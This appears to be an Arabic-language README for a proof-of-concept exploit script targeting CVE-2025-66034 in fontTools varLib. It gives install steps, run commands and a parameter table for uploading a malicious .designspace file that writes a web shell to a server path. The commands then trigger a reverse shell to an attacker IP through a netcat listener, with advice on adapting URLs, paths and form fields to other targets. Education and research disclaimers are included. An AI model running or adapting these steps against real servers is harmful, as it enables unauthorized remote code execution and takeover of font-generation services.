
استغلال لإثبات المفهوم لثغرة CVE-2025-66034 في خط إنتاج توليد الخطوط المتغيرة في fontTools. يسمح ملف .designspace معدّ خصيصًا بالتحكم في مسار الإخراج، مما يتيح عمليات كتابة ملفات عشوائية. يقوم السكربت بأتمتة إنشاء الحمولة وتوليد الخطوط ورفعها لإثبات المشكلة.
لا يقدّم هذا المستودع ثغرة جديدة.
هذا دليلُ إثبات مفهوم (PoC) لاستغلال CVE-2025-66034 الذي يؤثّر على خط إنتاج توليد الخطوط المتغيرة variable font في fontTools varLib.
تتيح الثغرة للمهاجمين التحكم في اسم ملف الإخراج داخل ملف .designspace مصنوع بعناية. وعند معالجته بواسطة خدمة توليد خطوط معرّضة للثغرة، يمكن أن يؤدي ذلك إلى كتابة ملفات عشوائية على نظام ملفات الخادم.
يقوم السكربت varlib_cve_2025_66034.py بأتمتة إنشاء الحمولة وتوليد الخطوط والرفع وتشغيل الصدفة الاختياري.
nc تلقائيPython 3.9+
ثبّت التبعيات:
pip install fonttools requests
Netcat مطلوب للمستمع:
إذا كان هدفك بيئة معملية مستضافة ذاتيًا تعمل على mysite.com، وكان مسار الرفع ومسار الكتابة على نظام الملفات ومسار التشغيل المتاح عبر الويب مطابقةً للقيم الافتراضية في السكربت، يمكنك تشغيله مباشرة.
الاستخدام الأساسي:
python varlib_cve_2025_66034.py --ip <ATTACKER_IP> --port <ATTACKER_PORT>
من المرجح جدًا أن يستخدم الهدف عناوين URL أو مسارات نظام ملفات مختلفة؛ لذا تجاوز القيم الافتراضية باستخدام الخيارات المتاحة أدناه، مثل --url و--path و--trigger، أو عدّل السكربت يدويًا
ملاحظة: قد تختلف أسماء حقول نموذج الرفع متعدد الأجزاء (multipart) حسب البيئة. إذا كان الهدف لا يستخدم نفس أسماء حقول النموذج الموجودة في السكربت، فقم بتعديلها في قسم files قبل تشغيل الاستغلال.
مثال مع خيارات مخصصة:
python varlib_cve_2025_66034.py --ip <ATTACKER_IP> --port <ATTACKER_PORT> --path /var/www/mysite.com/public --url http://mysite.com/tools/variable-font-generator/process --trigger http://mysite.com
.designspace خبيثشكر خاص واحترام لكل من:
يُقدَّم دليل إثبات المفهوم هذا لأغراض تعليمية وبحثية للمساعدة في فهم الثغرة وتأثيرها.
يُقدَّم هذا الكود لأغراض تعليمية وبحثية فقط.
لا تستخدم هذا الاستغلال ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.
المؤلف غير مسؤول عن أي إساءة استخدام أو ضرر ناتج عن هذا البرنامج.
| الوسيط | الوصف |
|---|
--ip | عنوان IP الخاص بمستمع المهاجم |
--port | منفذ المستمع |
--path | مسار نظام الملفات الهدف حيث سيتم كتابة الملف (يجب أن يكون متاحًا عبر الويب لتشغيل قشرة ويب) |
--url | نقطة نهاية الرفع، وقد يختلف النموذج |
--trigger | عنوان URL الأساسي المستخدم لتشغيل الحمولة المكتوبة بعد الرفع |
--no-listen | تعطيل مستمع netcat التلقائي |